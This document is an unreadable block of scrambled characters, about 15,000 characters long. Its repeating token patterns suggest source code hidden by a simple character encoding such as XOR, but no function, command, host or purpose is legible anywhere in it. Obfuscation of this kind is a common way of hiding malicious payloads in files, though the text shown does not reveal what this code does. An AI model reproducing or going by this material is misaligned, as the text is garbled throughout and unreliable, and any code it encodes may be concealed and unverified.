D@PQVUAVs_TUZF \FGRD IXAB_s_TUZF\FGRD IXAB_H9\ZVFJWG^Y_ AV QD
I]K\FGRD IXAB_E]AP@TR^\BG
AYRKTE\^C^DTT[DD_QJB9N9ZU_R
@lGEYPE]AP@TR^\BGDDlT[Z EDE]AP@TR^\BG
HlEJTJC EA^GREEDUC\JT[PK lEJTJC EA^GRlEJTJC EA^GR	lEJTJC EA^GR9ZRJXFJYRV\@TVGl\CGZ\]DDlT[Z EDRAARJ9ZUE]AP@TR^\BGZRJXFJYRV\@E]AP@TR^\BG\B_Z[AFl\DlZRJXFJYRV\@GAFVH9sFCWRGVl\CGZ\]E]AP@TR^\BG_R
@lGEYP_R
@lGEYPZRJXFJYRV\@RAARJ\B_Z[AFl\Dl9N9N99lRP
KRDBF
^FTBDDlT[Z ED
9K_]IBBGGWCJR
WYDA[\
D@PQVUAV_R
@lGEYP
9ZU_TUZF
_TUZFsDDlT[Z EDYDA[\
D@PQVUAVK_]IBBGGWCJR
WGZDUDGBR^QEKGZDUDG 99ZUDDlT[Z ED
_R
@lGEYPH9s\CPRP[VlZ]ER_ZWRGVYDA[\
D@PQVUAVGAFV9999s\CPRP[VlZ]ER_ZWRGVK_]IBBGGWCJR
WGAFV9N9U\AVRP[RAARJE]AP@TR^\BG
K_]IBBGGWCJR
WVAIWl[U_Q@W
EZPCT
@R@\[]I]
\
H9[YPWRD
EWVZV^B@C[Q\AJRU@DPJ\[]I]
\
9ZUDDlT[Z ED
 [YPWRD
EWVZV^P\]GZ]FV9U\AVRP[[YPWRD
EWVZV^R@U
]CB_VXAGBH9ZUE]AP@TR^\BG
U
]CB_VXAGB_R
@lGEYP
P\]GZ]FV9999\UUD\XZ@YUIYJ\[]I]
\
U
]CB_VXAGB9\ZZ_GJXYY s_R
@lGEYP
\UUD\XZ@YUIYJ9ZU\ZZ_GJXYY \ZZ_GJXYY _TUZF 


H99QD^BPU^^^C \V\UUD\XZ@YUIYJ9D_[][\JlFKFCVGRU\UUD\XZ@YUIYJ9N99N9N99F]@VG\[]I]
\
[YPWRD
EWVZV^U
]CB_VXAGB\UUD\XZ@YUIYJ\ZZ_GJXYY 9NPRGP[g[A\DRQ_VB]QEATG\KWH999NPRGP[vKPVCGZ\]B]QEATG\KWH9N9N9UF]PGZ\]\KGWB[^IDQ[FB]@]U[IXWQCAQQFQRX\UTJ9H999GAJH9ZU_TUZF ]U[IXWQCAQQOO]U[IXWQCAQQOOE]AP@TR^\BG FQRX\UTJOOFQRX\UTJAVGFA]9999^WX
]UZlGZUP]E]AP@TR^\BG
]U[IXWQCAQQ9ZUs_R
@lGEYP ^WX
]UZlGZUP]OOs_R
@lGEYP^WX
]UZlGZUP]AVGFA]9ZWW@FVYBV^WX
]UZlGZUP]_TUZF
DDlT[Z ED]U[IXWQCAQQ_TUZF9Zl^DB_D^R YJsDDlT[Z EDZWW@FVYBV9ZU_TUZF Zl^DB_D^R YJDDlT[Z ED_R
@lGEYP
Zl^DB_D^R YJQVIU YZZEVA@Z\]lP\^CRAVQVIU YZZhnFQRX\UTJDDlT[Z ED
AVGFA]999ZUDDlT[Z ED
_R
@lGEYP

sE]AP@TR^\BG

ZWW@FVYBVFQRX\UTJ99NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH99N9N99UF]PGZ\]VCJ@IP @JY@XD9999H9GAJH9ZUE]AP@TR^\BG
DDlT[Z EDH9AVGFA]9N9ZUsTVGl\CGZ\]_TUZFH9C@A@EXDYWDWTGDDlT[Z EDDDlT[Z EDQYXV\BGK
KUQ_YTDVDlQYXV\BG9N9ZUAUBEA@R_
YU_TUZF AVGFA]99999[JJA_D[ZITE]AP@TR^\BG
E]AP@TR^\BGrq`crg{@GAZ]TZIZ
Z\RY[KG999QWQJBJ@I@GAZ]TsTVGl\CGZ\][JJA_D[ZIT9IY_IPEX]XX_R
@lGEYP9R ElQXV[
ZW^999D[]YY
EP
UJKR@GAAVE@_WE[^XGUGJJQ9[APW\QY[ B
C\ZlAP^PVX_\G_^Z9AFVCEJFZ[CTE[APW\QY[ OD[]YY
EP
UJKR99ZUE]AP@TR^\BGQWQJBJ@IOUR_@VH9ZG
[_ZY_[P_DDlT[Z EDOQWQJBJ@I9IY_IPEX]XXZG
[_ZY_[P_hn9R ElQXV[
ZW^ZG
[_ZY_[P_hn9NV_@VH99R ElQXV[
ZW^QWQJBJ@I999N99ZUR ElQXV[
ZW^H9sFCWRGVl\CGZ\][JJA_D[ZITAFVCEJFZ[CTE_R
@lGEYP9AVGFA]9N99ZUR ElQXV[
ZW^D[]YY
EP
UJKRH9ZUQWQJBJ@IAFVCEJFZ[CTEEVA@Z\]lP\^CRAV[APW\QY[ IY_IPEX]XXE]AP@TR^\BG
H99sFCWRGVl\CGZ\][JJA_D[ZITAFVCEJFZ[CTE_TUZF9N99AVGFA]99N99YXIWTDQ@GAAVER ElQXV[
ZW^9ZUYXIWTDQOODDlT[Z EDYXIWTDQYXIWTDQH9sFCWRGVl\CGZ\][JJA_D[ZITAFVCEJFZ[CTE_R
@lGEYP9AVGFA]9N9999WY@@IGBl_VAIWl[U_Q@W
EZPCT
@YXIWTDQ9Z@lR@VPTTUIIB9999ZUWVUZ]VWDDlT[Z EDH9Z@lR@VPTTUIIBdclcftz}lwzaDDlT[Z ED
YXIWTDQcrg{z}u|luzv}r~vYXIWTDQ9N999U^_XKEE@s_R
@lGEYPWY@@IGBl_9Y
ZEGPZ@_ A@Z]\U^_XKEE@UR_@VU^_XKEE@KRRKWV9EFRKITX Z@lR@VPTTUIIBsDDlT[Z EDZ@lR@VPTTUIIB	UR_@V9999[Q JXGKJVV  EFRKITX UR_@VEFRKITX 
  9999ZUY
ZEGPZ@_ A@Z]\[Q JXGKJVV  H9dcF@Vz]]VAq_\PX@cA\C@^V]FC\@ZGZ\]99sFCWRGVl\CGZ\][JJA_D[ZITAFVCEJFZ[CTE_TUZF9AVGFA]9N9FV]BRFlEQQCCY
ZEGPZ@_ A@Z]\WY@@IGBl_	Z@lR@VPTTUIIB999DT^UY]l\GG
RsDDlT[Z EDFV]BRFlEQQCCUR_@V]F__KUKQ9ZUDDlT[Z ED DT^UY]l\GG
RE]AP@TR^\BG_TUZFDT^UY]l\GG
RlU^H9IY_IPEX]XXlU^hn9NV_@VZU_J_RI]_\_lDP^FV]BRFlEQQCCK K H9IY_IPEX]XX_TUZF99N9Q\F]WRAJP\]WZGZ\]999F]@VGDT^UY]l\GG
RlU^9RU@TGQ
CIY
ZEGPZ@_ A@Z]\9ZURU@TGQ
CI[Q JXGKJVV  H9A_GGYKREE]AP@TR^\BG YXIWTDQcrg{z}u|luzv}r~vYXIWTDQ9VTEGQ^D EJRAARJsTVGl\CGZ\]E]AP@TR^\BGRAARJ9RU@TGQ
CIE]AP@TR^\BGA_GGYKREVTEGQ^D EJGAFV9ZURU@TGQ
CIDDlT[Z ED
_R
@lGEYPZ@l^F_GZ@ZGV_TUZF
E]AP@TR^\BGH9ETUYRB[CCRAARJsTVGl@ZGVl\CGZ\]_TUZFRAARJ9RU@TGQ
CIZ@@VGETUYRB[CChA_GGYKREn9999F]@VGETUYRB[CC9N9F]@VGA_GGYKREVTEGQ^D EJ9N9lERJ[EBI[YYKEVA@Z\]lP\^CRAV[APW\QY[ IY_IPEX]XX9ZUlERJ[EBI[YYKH9PC__V@EX]_J_RI]_\_lDP^FV]BRFlEQQCCKUK9Cl]RYBXJ_lZ]Gs_TUZFFV]BRFlEQQCCYA\YCZBCVKPEZX]KlYA\YCZBCV9TU GBEXTWPC__V@EX]OOCl]RYBXJ_l 9ZUTU GBEXTWCl]RYBXJ_l 
H9U\JW\WVVVQ^s_TUZFFV]BRFlEQQCCUR_@V]F__
9ZU_R
@lGEYPU\JW\WVVVQ^OODDlT[Z EDDDlT[Z ED
U\JW\WVVVQ^TU GBEXTWGAFV9N9ZUTU GBEXTW]U_lC_RU^@EFV]BRFlEQQCCTU GBEXTWGAFV9ZUTU GBEXTWH9999ADR_Y
E\RC_\WGUYRI
R9ZUV^CGJADR_Y
hDDlT[Z EDnH9lU[YKJ@YFs_R
@lGEYPADR_Y
h_TUZFn9U JQ ]DKs_R
@lGEYPFV]BRFlEQQCC999ZUDDlT[Z EDlU[YKJ@YF_R
@lGEYPU JQ ]DKlU[YKJ@YFU JQ ]DKH9_TR^KXUW@U@AC[\QB^G]@ G^JTD_ZADR_Y
9ZU_TR^KXUW@U@AC_R
@lGEYP OO_TR^KXUW@U@AC_TUZFTU GBEXTWGAFV9N9999F]@VGlU[YKJ@YFU JQ ]DK_TR^KXUW@U@AC9N9ZUTU GBEXTW@K
^XR_JJlPFV]BRFlEQQCCTU GBEXTWGAFV9F]@VGADR_Y
9N9ZUTU GBEXTWH9ZUPC__V@EX]I[_AKBTWF[J^QD WG_TFV]BRFlEQQCC9sFCWRGVl\CGZ\][JJA_D[ZITAFVCEJFZ[CTEDDlT[Z ED9AVGFA]9N9ZURU@TGQ
CIH99sFCWRGVl\CGZ\][JJA_D[ZITAFVCEJFZ[CTEDDlT[Z ED9AVGFA]99N9\KGWB[^IDQ[FB]@YDA[\
D@PQVUAVIY_IPEX]XX99BAIIG^TR]KWYIYDA[\
D@PQVUAV9AVGFA]GAFV99N9ZUV^CGJt|qr`hDDlT[Z EDnH9t|qr`h_R
@lGEYPnGAFV999ZU_J_RI]_\_lDP^FV]BRFlEQQCC  I[_AKBTWF[J^QD WG_TFV]BRFlEQQCC9@P\\[YZ\_TUZF 9PICJFA]JXF[  [TDEYDA[\
D@PQVUAV@P\\[YZ\@P\\[YZ\KUWK ZIZ
Z\RY[KG9F]@VG@P\\[YZ\999\KGWB[^IDQ[FB]@WY@@IGBl_[APW\QY[ 9ZUZ@lR@VPTTUIIB\KGWB[^IDQ[FB]@Z@lR@VPTTUIIB[APW\QY[ 9C@A@EXDYWDWTGE]AP@TR^\BG_R
@lGEYP
9sFCWRGVl\CGZ\][JJA_D[ZITAFVCEJFZ[CTEDDlT[Z ED9999lRP
KRDBF
^FTBE]AP@TR^\BG 999999ZUZ@lR@VPTTUIIB_TUZF DDlT[Z ED
H9IRIBVlEZDDlT[Z ED YXIWTDQcrg{z}u|luzv}r~vYXIWTDQ9VTEGQ^D EJsTVGl\CGZ\]_R
@lGEYPRAARJ9ZU_R
@lGEYP
 VTEGQ^D EJ_TUZFIRIBVlEZVTEGQ^D EJGAFVH9sFCWRGVl\CGZ\]_R
@lGEYPDDlT[Z EDE]AP@TR^\BG VTEGQ^D EJRAARJIRIBVlEZ9N9F]@VGIRIBVlEZVTEGQ^D EJ9N9N9AVGFA]9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[T_TUZF  TDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9999NUZ]R__JH9U [AKZ GZDPVDTR]]F
_TUZF 9N9N9UF]PGZ\]B@C[Q\AJRU@DPJ^WX
]UZlGZUP]9999H9]\]@GAZPGGV^C_RGV99ZUDDlT[Z ED _TUZF DDlT[Z ED _R
@lGEYP H9999]^\XWPGGAs_R
@lGEYP ^WX
]UZlGZUP]9ZU]^\XWPGGAHBU\XVQIK

KV\^QG
DGlBU\XVQI9K
^^RPP^^EXERAARJ999D[Z_VTDKQ[VTBBQIsE]AP@TR^\BG ]^\XWPGGAUR_@VH9ZUTDKQ[VTBBQITDKQ[VTBBQI_TUZF 
K
^^RPP^^EXEhnTDKQ[VTBBQI9N99ZU_R
@lGEYP _TUZFs_TUZF]^\XWPGGA9999AVGFA]K
^^RPP^^EXE9N9D\A@GPR@V@XZC_Z@G99N9ZUE]AP@TR^\BGE]AP@TR^\BG H9WA]V @Z VTDG
s_R
@lGEYP ^WX
]UZlGZUP]9aVPG\ARFG\AVURPG\AGAR]@ZV]Ggg99ZUDDlT[Z ED
 WA]V @Z VTDG
AVGFA]DDlT[Z EDDDlT[Z ED WA]V @Z VTDG
RAARJDDlT[Z ED 
9N9ZUE]AP@TR^\BG_TUZFH9R\GX^PIYZ@X 
D\ls_R
@lGEYP^WX
]UZlGZUP]_R
@lGEYP9ZUE]AP@TR^\BGR\GX^PIYZ@X 
D\lAVGFA]_TUZF
DDlT[Z EDR\GX^PIYZ@X 
D\l999N9AVGFA]]F__9999N999UF]PGZ\]ZRG
\KYQ\R AXGQF\\JE@9H9ZUE]AP@TR^\BGQF\\JE@OO_TUZFQF\\JE@E]AP@TR^\BGUR_@VAVGFA]UR_@V9999ZU_R
@lGEYPQF\\JE@
QF\\JE@QYDlT@]@EWXY@ZT[YT\FYQF\\JE@9ZU_TUZFQF\\JE@AVGFA]UR_@V9ZU_R
@lGEYPE]AP@TR^\BG AVGFA]GAFV9ZUWVUZ]VWDDlT[Z EDH9YR WZJB
PB^GIsG\XV]lTVGlR__QF\\JE@9ZU_TUZFYR WZJB
PB^GIAVGFA]GAFV9_KFRJIF\9999U\AVRP[YR WZJB
PB^GIR@^WZFYV XKY]ZH9ZUDDlT[Z ED^WZFYV XKY]ZH9ZU^WZFYV XKY]Zhnglpfajl|cv}OO^WZFYV XKY]Zhnglw|ral|cv}lpfajlqarpv`_KFRJIF\9P\]GZ]FV9N9ZU^WZFYV XKY]ZH_KFRJIF\9V_@VZU^WZFYV XKY]ZNH9_KFRJIF\9ZU_KFRJIF\AVGFA]UR_@V9N99N9AVGFA]_KFRJIF\9N9GAJH9sG\XV]lTVGlR__QF\\JE@g|xv}lcra`v9AVGFA]GAFV9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9AVGFA]UR_@V9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9AVGFA]UR_@V9N9N9UF]PGZ\]_[QFK^]@YQFDXAKV9H9AVGFA]RAARJDDlT[Z EDE]AP@TR^\BGE]AP@TR^\BG9N9UF]PGZ\]WDQ QGZl^_RX9H999AVGFA]RAARJE]AP@TR^\BG
_R
@lGEYPDDlT[Z ED_TUZF_TUZF _TUZFE]AP@TR^\BGE]AP@TR^\BGDDlT[Z EDE]AP@TR^\BGE]AP@TR^\BG
DDlT[Z ED_R
@lGEYPDDlT[Z EDE]AP@TR^\BG _R
@lGEYP_R
@lGEYPE]AP@TR^\BGDDlT[Z ED_R
@lGEYP99N9UF]PGZ\]QI__FE[D@C@\C 9H9AVGFA]RAARJDDlT[Z ED
E]AP@TR^\BG_TUZFDDlT[Z ED9N99UF]PGZ\]Y\C
PZKCTDQFDGWZ_YJlQCIQGAD]9H9ZU_R
@lGEYPDDlT[Z ED AVGFA]TIV]P\WVlQCIQGAD]9ZUE]AP@TR^\BG_TUZFH9c{cp`uZKVARW^Z]@PAVV]99999AVGFA]oKUoKQoKoKoKoKoKoKoKoK TIWVU_RGVlQCIQGAD]DDlT[Z EDe_TUZFlQCIQGAD]DDlT[Z EDe_TUZFlQCIQGAD]

 9N9999AVGFA]lQCIQGAD]9N9UF]PGZ\]JIE@lE@G[VllQCIQGAD]99H9ZUDDlT[Z EDlQCIQGAD]OO_TUZFlQCIQGAD]AVGFA]lQCIQGAD]9ZUDDlT[Z ED
lQCIQGAD]oKUoKQAVGFA]lQCIQGAD]999ZU_R
@lGEYP
lQCIQGAD]
AVGFA]UR_@V9Q^[GYEREs_TUZF
eDDlT[Z ED
lQCIQGAD]9Q^[GYERE_R
@lGEYP
Q^[GYEREQ^[GYEREhn	999ZUQ^[GYEREOOQ^[GYERE AVGFA]UR_@V99ZUDDlT[Z EDDDlT[Z ED
H999KYXQV
YBXYGE\sTIWVP\WVlQCIQGAD]  9ZUKYXQV
YBXYGE\UR_@VAVGFA]KYXQV
YBXYGE\9N9ZU_R
@lGEYPE]AP@TR^\BG
 H9KYXQV
YBXYGE\sTIZ]U_RGVDDlT[Z ED
lQCIQGAD]E]AP@TR^\BG
lQCIQGAD]KK

9AVGFA]_R
@lGEYP
KYXQV
YBXYGE\E]AP@TR^\BG
KYXQV
YBXYGE\
KYXQV
YBXYGE\	UR_@V99N9AVGFA]UR_@V9N99ZU_R
@lGEYP_TUZF
H9UF]PGZ\][VKQZ]@_K]FEV9H9ZU_TUZF
@_K]FEVOO_R
@lGEYP
@_K]FEVH9AVGFA]UR_@V9N9AVGFA]_TUZF
_TUZF
@_K]FEV9999N999N99999UF]PGZ\]]YGKGEIDXW PEEB\U]9H9_ZPlCKPPE@RAARJ9P
K^]YIRlFRRAARJrq`crg{rq`crg{_TUZF
rq`crg{DDlT[Z ED

@T_V]GEJY[CAOAFR\W^EJCEX@T_V]GEJY[CAm 9ZUWVUZ]VW_R
@lGEYP P
K^]YIRlFRhndclp|}gv}glwza9U\AVRP[P
K^]YIRlFRR@KYXQV
YBXYGE\H9DD@U [DT@TPVl_R
@lGEYPDDlT[Z ED sDDlT[Z ED KYXQV
YBXYGE\E]AP@TR^\BG 	UR_@V9ZUDDlT[Z ED  DD@U [DT@TPVlH9U\AVRP[DD@U [DT@TPVlR@K_@IF@\]EA
WH9R ^RlV]
lsE]AP@TR^\BG
K_@IF@\]EA
W9999ZUR ^RlV]
lR ^RlV]
l
 H999_ZPlCKPPE@hnR ^RlV]
lF_ CR_^F^R  O
W@E
\YFQlF_ CR_^F^Rm9N9N9N9N9999ZUV^CGJ_ZPlCKPPE@H9Z]^ECVK\YDQI_ZPlCKPPE@h_R
@lGEYP _ZPlCKPPE@n9AVGFA]Z]^ECVK\YDQIZ]^ECVK\YDQI


ZIZ
Z\RY[KG9N9GVFVFXJU_TUZF   KKK
 KVW999@Q^l
KRQ TVE]AP@TR^\BG_TUZF DClAR]W   	_R
@lGEYP     9Z]^ECVK\YDQIGVFVFXJU@Q^l
KRQ TV999AVGFA]Z]^ECVK\YDQIZ]^ECVK\YDQIK
KVZIZ
Z\RY[KG99N9UF]PGZ\]E[Q\QR
XVD
JR@
YZZZQAJ C]XWZPT I[^\B EGl]Yl_FT  XXZQ JC@@]F__9H9WFEl\PCUF]PGZ\]^Z
@KBZF@Vl_FT  XXZQ JC@@H9ZUDDlT[Z ED ^Z
@KBZOO^Z
@KBZAVGFA]UR_@V999ZU_TUZF
^Z
@KBZ 

AVGFA]UR_@V9ZUl_FT  XXZQ JC@@H9GAJH9999AVGFA]Q\\_E]AP@TR^\BG l_FT  XXZQ JC@@^Z
@KBZ999NPRGP[g[A\DRQ_VTDKQ[VTBBQIH999AVGFA]UR_@V9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9AVGFA]UR_@V9N9N9AVGFA]GAFV9N9QFY]WRRJWU\_R
@lGEYPDDlT[Z ED 
sE]AP@TR^\BG 
AJ C]XWZPT IRAARJ9DDlT[Z ED [^\B EGl]Y9_TUZF UR_@V9_TUZF  

9	UR_@V9ZUQFY]WRRJWU\E]AP@TR^\BGE]AP@TR^\BG  OOZ@lDClVAA\AQFY]WRRJWU\H9ZUZ]GDClAV^\GVlAVGAZVEVlAV@C\]@VlP\WVQFY]WRRJWU\H99W^_ZGJFG@@DClAV^\GVlAVGAZVEVlQ\WJQFY]WRRJWU\9ZUWFEl\PCW^_ZGJFG@@AVGFA]W^_ZGJFG@@9N9N9ZU_R
@lGEYP _R
@lGEYP _TUZF _R
@lGEYP _TUZF E]AP@TR^\BG H9FKPGVFlT[\s_TUZF AJ C]XWZPT I9ZUFKPGVFlT[\UR_@VAVGFA]UR_@V9sDDlT[Z ED FKPGVFlT[\RAARJ9P\]@GR]G_R
@lGEYP GAFV9999P\]@GR]G_R
@lGEYP 
[^\B EGl]Y9P\]@GR]G_R
@lGEYP UR_@V9P\]@GR]G_TUZF 9999P\]@GR]G_R
@lGEYP UR_@V9P\]@GR]GDDlT[Z ED  UF]PGZ\]JWF\WA\R__QAT^ElBCY_ V]^G
YGFPlHAVGFA]^G
YGFPl
	N99B[CGWEB UB@sDDlT[Z ED FKPGVFlT[\9R
K\BIJ_[KCG_sPFA_lVAA]\FKPGVFlT[\9FQlJ_XJlXY]\sPFA_lTVGZ]U\FKPGVFlT[\9sPFA_lP_\@VFKPGVFlT[\9ZUR
K\BIJ_[KCG_AVGFA]UR_@V9ZUZ]GFQlJ_XJlXY]\h_TUZF nmB[CGWEB UB@UR_@VWFEl\PCB[CGWEB UB@H9999AVGFA]B[CGWEB UB@9N9N9AVGFA]UR_@V999N99UF]PGZ\]E[Y
IX_JUWKXJIAJ C]XWZPT IB@EXZJ__^[EZCQIJPG[^\B EGl]Yl_FT  XXZQ JC@@]F__9H9WFEl\PCUF]PGZ\]^Z
@KBZF@Vl_FT  XXZQ JC@@H99ZUDDlT[Z ED ^Z
@KBZOO^Z
@KBZAVGFA]UR_@V9ZU_R
@lGEYP ^Z
@KBZ AVGFA]UR_@V9ZUl_FT  XXZQ JC@@H999GAJH9AVGFA]Q\\_E]AP@TR^\BG l_FT  XXZQ JC@@^Z
@KBZ9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9999AVGFA]UR_@V9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9AVGFA]UR_@V9N9N9AVGFA]GAFV9N9QFY]WRRJWU\_R
@lGEYP DDlT[Z ED s_TUZF AJ C]XWZPT IRAARJ9DDlT[Z ED [^\B EGl]Y9E]AP@TR^\BG UR_@V9_TUZF   9999E]AP@TR^\BG [EZCQIJPG9DDlT[Z ED 
B@EXZJ__^9	UR_@V9ZU_TUZF _TUZF  Z@lDClVAA\AQFY]WRRJWU\H99NV_@VZUQFY]WRRJWU\H999QF\\JE@Z]GDClAV^\GVlAVGAZVEVlAV@C\]@VlP\WVQFY]WRRJWU\9DE]QCWRIXZVlDClAV^\GVlAVGAZVEVlQ\WJQFY]WRRJWU\9@Z[RZT_V QDClAV^\GVlAVGAZVEVl[VRWVA@QFY]WRRJWU\9J
P@_lBAX9ZU_TUZF  @Z[RZT_V QH9U\AVRP[@Z[RZT_V QR@\@Z@EPKFUF@^TKVVl[[TADZJWH9J
P@_lBAX\@Z@EPKFUF@^_TUZF  TKVVl[[TADZJWE]AP@TR^\BG  9N9N9ZUQF\\JE@
WFEl\PCDE]QCWRIXZVlH9999AVGFA]DE]QCWRIXZVl9999N9NV_@VH9N99ZUE]AP@TR^\BG _R
@lGEYP _TUZF _TUZF  E]AP@TR^\BG E]AP@TR^\BG H99FKPGVFlT[\sDDlT[Z ED AJ C]XWZPT I\QY^XlU]CR  \AGWWIKQ\QY^XlU]CR\QY^XlU]CR	\QY^XlU]CR9ZUFKPGVFlT[\UR_@VH9999AVGFA]UR_@V999N9IP IIPPT@FIRAARJ9U\AVRP[[EZCQIJPGR@\@Z@EPKFUF@^TKVVl[[TADZJWH9IP IIPPT@FIhn\@Z@EPKFUF@^DDlT[Z ED  TKVVl[[TADZJW999N999sE]AP@TR^\BG  FKPGVFlT[\RAARJ9P\]@GR]G_R
@lGEYP   GAFV9P\]@GR]G_TUZF  B@EXZJ__^9999P\]@GR]GE]AP@TR^\BG GAFV9P\]@GR]GDDlT[Z ED 
[^\B EGl]Y9P\]@GR]G_TUZF UR_@V9P\]@GR]GDDlT[Z ED 9P\]@GR]G_TUZF  IP IIPPT@FI9P\]@GR]GE]AP@TR^\BG UR_@V9P\]@GR]GE]AP@TR^\BG  UF]PGZ\]JWF\WA\R__QAT^ElBCY_ V]^G
YGFPlHAVGFA]^G
YGFPl 	N99B[CGWEB UB@sE]AP@TR^\BG FKPGVFlT[\9R
K\BIJ_[KCG_sPFA_lVAA]\FKPGVFlT[\9AJ\]WXsPFA_lVAA\AFKPGVFlT[\9FQlJ_XJlXY]\sPFA_lTVGZ]U\FKPGVFlT[\9CC_B@] AJE
lGZ]GFQlJ_XJlXY]\hE]AP@TR^\BG n9999ZUR
K\BIJ_[KCG_H9sPFA_lP_\@VFKPGVFlT[\^l]U QREKQKRUABIYA@ X^l]U QRE9AVGFA]UR_@V9N9sPFA_lP_\@VFKPGVFlT[\9ZUCC_B@] AJE
lGB[CGWEB UB@UR_@VWFEl\PCB[CGWEB UB@H9[\\XQZ_Z]VRABF\GZV]G99AVGFA]B[CGWEB UB@9N9ZUB[CGWEB UB@H9N9AVGFA]UR_@V9999N9AVGFA]UR_@V99N9999UF]PGZ\]V^^^UVJF@KRX_999H9R@QCFDJ_[QFK^]@YQFDXAKV999]Y[ EPEZPKJTWDQ QGZl^_RX9999ZUV^CGJR@QCFDJOOV^CGJ]Y[ EPEZPKJTH9AVGFA]RAARJ9N999999T]lQI@VY_TUZF  DDlT[Z ED  @GAZ]TTVGl\CGZ\]_TUZF  
	9ZUT]lQI@VYH9]Y[ EPEZPKJTDDlT[Z ED_TUZF ]Y[ EPEZPKJTRAARJT]lQI@VY9E]AP@TR^\BG ]Y[ EPEZPKJTT]lQI@VYA
 GQ DTllZITCA
 GQ999N99T
AlV P@Cl
E]AP@TR^\BG R@QCFDJh_R
@lGEYP R@QCFDJn9ZUT
AlV P@Cl
H9AVGFA]RAARJ9N999B@EXZJ__^E]AP@TR^\BG T
AlV P@Cl
_TUZF  9999BDV
KRZGIVRAARJDDlT[Z ED _TUZF 9G
_JDXXJ_TUZF GAFV9U\AVRP[]Y[ EPEZPKJTR@Y_lR@_[P_
H99ZU_R
@lGEYP GAFVG
_JDXXJ
H9QAVRX9N9999Y_lR@_[P_
E]AP@TR^\BG @GAZ]TY_lR@_[P_
9ZUY_lR@_[P_
H9P\]GZ]FV9N9GAJH999DE]QCWRIXZVlE[Y
IX_JUWKXJIY_lR@_[P_
B@EXZJ__^BDV
KRZGIVmUF]PGZ\]^Z
@KBZH9\G_U UCKZsE]AP@TR^\BG ^Z
@KBZGAFV9AVGFA]_R
@lGEYP  \G_U UCKZZ@@VG\G_U UCKZh_TUZF 
n9N99ZUDE]QCWRIXZVlUR_@VH9^\]\^\AC[ZPPR__99P\]GZ]FV9N9Z@\@ PZlsE]AP@TR^\BG DE]QCWRIXZVlGAFV9ZU_TUZF  Z@\@ PZlOOZ@@VGZ@\@ PZlh_TUZF 
nOO_TUZF Z@\@ PZlh_R
@lGEYP 
nH9P\]GZ]FV9N9999@_K]FEVZ@\@ PZlhE]AP@TR^\BG 
n9ZU_TUZF@_K]FEVE]AP@TR^\BG H9@_K]FEVDDlT[Z ED
@_K]FEV9N9@GAV]TG[AVWFPVAVPFA@ZEVWZAVPG\A999K[TAQ_ZVUTZEG\Zs_TUZF @_K]FEV99ZUK[TAQ_ZVUTZEG\ZUR_@VOOE]AP@TR^\BG K[TAQ_ZVUTZEG\Z
H9P\]GZ]FV9N999R_JP @\K
U9I]ERZY WQZ_R
@lGEYP  K[TAQ_ZVUTZEG\ZhR_JP @\K
Un99@YB^_Ul[UUV_F^_R
@lGEYP K[TAQ_ZVUTZEG\ZR_JP @\K
UI]ERZY WQZ9ZUE]AP@TR^\BG @YB^_Ul[UUV_F^OO_TUZF @YB^_Ul[UUV_F^H9P\]GZ]FV9N99DlVV 
A\J^][ QVX_TUZF  @YB^_Ul[UUV_F^hn9ZUDlVV 
A\J^][ QVXOOE]AP@TR^\BG @YB^_Ul[UUV_F^DlVV 
A\J^][ QVXH9P\]GZ]FV9N999999URK TAF^E
Z^_R
@lGEYP @YB^_Ul[UUV_F^DlVV 
A\J^][ QVX9_]P@C@TI]DDlT[Z ED @YB^_Ul[UUV_F^DlVV 
A\J^][ QVX9ZUE]AP@TR^\BG URK TAF^E
Z^OODDlT[Z ED _]P@C@TI]H9P\]GZ]FV99N99WJUDEWW_QPYYDYRYP[V\T_]P@C@TI]URK TAF^E
Z^9999ZUE]AP@TR^\BG WJUDEWW_QPYOO_TUZF WJUDEWW_QPYH999XJRP]KB[TDDlT[Z ED E]AP@TR^\BG 
9P\]GZ]FV9N99]WDBTYPRKW_R
@lGEYP  WJUDEWW_QPYhn9ZU]WDBTYPRKWOOE]AP@TR^\BG WJUDEWW_QPY]WDBTYPRKWH9XJRP]KB[TDDlT[Z ED _R
@lGEYP 9P\]GZ]FV9999N99@]ZF]C]]X_JPDDlT[Z ED WJUDEWW_QPY]WDBTYPRKW999^I[VClIWE]AP@TR^\BG WJUDEWW_QPY]WDBTYPRKW999TDEVIGI@DlIUE]AP@TR^\BG  E]AP@TR^\BG DDlT[Z ED _TUZF DDlT[Z ED DDlT[Z ED ^I[VClIW9ZUE]AP@TR^\BG  _R
@lGEYP H9dcpF@G\^Z]X	VKRPGRWYXVJ@G\AV99FCWRGVl\CGZ\]E]AP@TR^\BG  
Y_lR@_[P_
999FCWRGVl\CGZ\]_R
@lGEYP 
E]AP@TR^\BG o]TDEVIGI@DlIU9N9AVGFA]RAARJ_TUZF @]ZF]C]]X_JPE]AP@TR^\BG TDEVIGI@DlIU9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[T_TUZF TDKQ[VTBBQI9P\]GZ]FV9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9P\]GZ]FV9N9N999EIR[ZGQQV__TUZF  _TUZF  @GAZ]TTVGl\CGZ\]DDlT[Z ED 
	9^TTlBQFU\[RZWW
ZYXT_\DQDDlT[Z ED  9ZUEIR[ZGQQV__TUZF ^TTlBQFU\[^TTlBQFU\[H9TDEVIGI@DlIU_TUZF  _R
@lGEYP _R
@lGEYP E]AP@TR^\BG E]AP@TR^\BG _R
@lGEYP EIR[ZGQQV_9ZUV^CGJTDEVIGI@DlIUH999AVGFA]RAARJ_TUZF ^TTlBQFU\[DDlT[Z ED TDEVIGI@DlIU9N9N9XJRP]KB[T_TUZF _R
@lGEYP 
9AVGFA]RAARJ999N9UF]PGZ\]^E[QX[AQCIU[FIF_YW]PJBlWJZKPGDG\FlA^WDPVPJAE99H99ZUDDlT[Z ED  E]AP@TR^\BG H9AVGFA]UR_@V9N9dcz]@CVPG\Ap\]GA\_@^VWZRFC_\RW99PXJDX@ TTWE]AP@TR^\BG ZKPGDG\Fl9ZQ _W[
A JI[@_R
